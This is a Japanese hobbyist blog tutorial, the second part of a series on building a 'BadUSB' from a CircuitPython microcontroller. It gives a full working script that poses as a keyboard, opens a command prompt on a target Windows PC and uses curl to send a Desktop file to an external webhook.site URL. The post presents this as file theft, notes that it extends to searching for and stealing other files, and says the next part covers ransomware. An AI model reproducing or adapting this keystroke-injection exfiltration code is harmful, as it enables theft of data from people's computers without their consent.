現在、イベントの予定はありません ( ˘ω˘ )
Raspberry Pi / Arduino

New!! BadUSBを作ってハッキングする(②ファイル盗み取り編)

AI要約

小型ハッキングデバイス「BadUSB」を使い、標的PCの機密ファイルを窃取します。キーボードとして認識させたマイコンからコマンドプロンプトを自動操作し、curlコマンドで外部サーバーへ転送する仕組みを解説します。

はじめに

「BadUSBを作ってハッキングする」シリーズ。前回はマイコンのモード切替を実装しました

第2回はいよいよハッキングコードの中身を書くステップです。

ここではターゲットPCのデスクトップにあるファイルを盗み取ります。

HID化のパッケージ

マイコンをHID(Human Interface Device)化することで、ターゲットPCからはキーボードやマウスとして認識されます。

「Adafruit」はマイコンのいろいろを提供しているブランドです。CircuitPython環境でHID化してキー入力するためのパッケージを導入します。

GitHub - adafruit/Adafruit_CircuitPython_HID: USB Human Interface Device drivers.
USB Human Interface Device drivers. Contribute to adafruit/Adafruit_CircuitPython_HID development by...

ここから「adafruit_hid」フォルダを探してきて、ストレージモードで lib/adafruit_hid となるように入れます。

また、Adafruit本家のままでは「%」「¥(\)」「_」「|」あたりの記号が入力できないため、有志が作っている日本語配列用のモジュールも導入します。いくつか試しましたが、CircuitPython10系と相性の合うものがなかなか見つかりませんでした。以下のnak435様のパッケージがシンプルで成功しました。感謝です。

JPキーボード for CircuitPython - Qiita
CircuitPythonでJPキーボードを使いたい CircuitPythonで使えるJPキーボードレイアウトが見つからなかったので、自分で作りました。 これまでArduinoで実現してきたことと基...

ターゲットファイル

ターゲットPCのデスクトップに機密文書「important.txt」を置いておきます。

受け取り側のサーバー

本来は自前のWebサーバーを用意したいところですが、面倒なので今回はウェブフックサービスを借ります。

「Webhook.site」を開き、一時的に発行されたURLを取得します。

Webhook.site
Webhook.site takes away the frustration of building software and automations that communicate via we...

hacking.py

コードはViperIDEで編集、書き込みます。テスト実行もできます。

ViperIDE

前回の「main.py」は物理スイッチを検出して、コード自動実行モードなら「hacking.py」を呼びます。コード編集モードなら「hacking.py」単体でテスト実行できます。

import time
import usb_hid
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_jp import KeyboardLayoutJP

print("自動実行の準備をします...")

# キーボードとして認識されるまで少し待つ
time.sleep(1)

# キーボードの初期化
keyboard = Keyboard(usb_hid.devices)

# キーボードレイアウトの初期化
layout = KeyboardLayoutJP(keyboard)

print("処理を開始します...")

#  Windowsキー + R で「ファイル名を指定して実行」を開く
keyboard.send(Keycode.GUI, Keycode.R)
time.sleep(0.5) # ウインドウが開くときは少し待機

# コマンドプロンプト(cmd)を開く
layout.write("cmd")
keyboard.send(Keycode.ENTER)
time.sleep(0.5) # ウインドウが開くときは少し待機

# 「chcp 65001」でUTF-8に切り替え
layout.write("chcp 65001")
keyboard.send(Keycode.ENTER)

# ターゲットのデスクトップに移動
# %USERPROFILE% = C:\Users\(USERNAME) の意味
layout.write("cd %USERPROFILE%\Desktop")
keyboard.send(Keycode.ENTER)

# important.txtの中身を表示してみる
layout.write("TYPE important.txt")
keyboard.send(Keycode.ENTER)

# curlコマンドでmportant.txtの中身をウェブフックサービスに送る
layout.write("curl -d @important.txt https://webhook.site/d876912b-e0f4-4e9e-be95-d15a8283f452")
keyboard.send(Keycode.ENTER)

# 「exit」でcmdを閉じる
layout.write("exit")
keyboard.send(Keycode.ENTER)

print("処理が完了しました")

実行するとコマンドプロンプトが開き、いかにもハッキングされてる感じの動きをします。

ターゲットPCの中でデスクトップへ移動し、「important.txt」の中を表示した後、外部サーバーにアップロードしています。少しWarningが出ていますが気にしないでください。

ちなみに、このマイコンはネット接続できないのでターゲットPCのネットを使用しています。

「Webhook.site」の方で受け取れていることを確認します。

おわりに

この方法でターゲットPC内のファイル名一覧を取得したり、特定の文字列を含むファイルを検索して盗むこともできます。

次回は、特定のファイルをロックして身代金を要求するテキストを出してみましょう。いわゆるランサムウェアです。

リアクションのお願い

「参考になった!」「刺激された!」と思ったらぜひリアクションをしましょう。エンジニアの世界はGive and Takeによって成り立っています。これからも無料で良質な情報にアクセスできるよう、Giveする人への感謝をリアクションで示しましょう!

この記事をシェアする

自身のブログ等で使用する場合は引用を忘れずに!

また、寄付も受け付けています。コーヒー1杯でとても喜びます(*˘︶˘*)

 Amazonでギフト券(アマギフ)を贈る

こちらのリンク から金額を指定してお贈りください。(デフォルトで10000円になっているのでご変更ください)

配送:Eメール
受取人:staffあっとvigne-cla.com
贈り主:あなたのお名前やニックネーム
メッセージ:◯◯の記事が参考になりました。など

のようにご入力ください。見返りはありませんのでご了承ください。

 Amazonで食事券(すかいらーく優待券)を贈る

500円 1000円 2000円 5000円 からお贈りください。

配送:Eメール
受取人:staffあっとvigne-cla.com
贈り主:あなたのお名前やニックネーム
メッセージ:◯◯の記事が参考になりました。など

のようにご入力ください。見返りはありませんのでご了承ください。

 その他、ギフト券やクーポン券をメールで贈る

デジタルのギフト券/クーポン券はメールアドレス(staffあっとvigne-cla.com)までお送りください。受領の返信をいたします。
紙のギフト券/クーポン券は 「郵便物はこちらへ」の住所 まで送付してください。名刺やメールアドレスを同封していただければ受領の連絡をいたします。
余った株主優待券等の処理におすすめです。
いずれも見返りはありませんのでご了承ください。

不明点はSNSでお気軽にご連絡ください

ビネクラのTwitter・Youtubeでコメントをください!


Slack・Discordの場合はこちらの公開グループに参加してShoya YasudaまでDMをください!


※当ブログに関することは何でもご相談・ご依頼可能です。

この記事を書いた人
Yasuda

博士(理学)。専門は免疫細胞、数理モデル、シミュレーション。米国、中国で研究に携わった。遺伝的アルゴリズム信者。物価上昇のため半額弁当とともに絶滅寸前。

タイトルとURLをコピーしました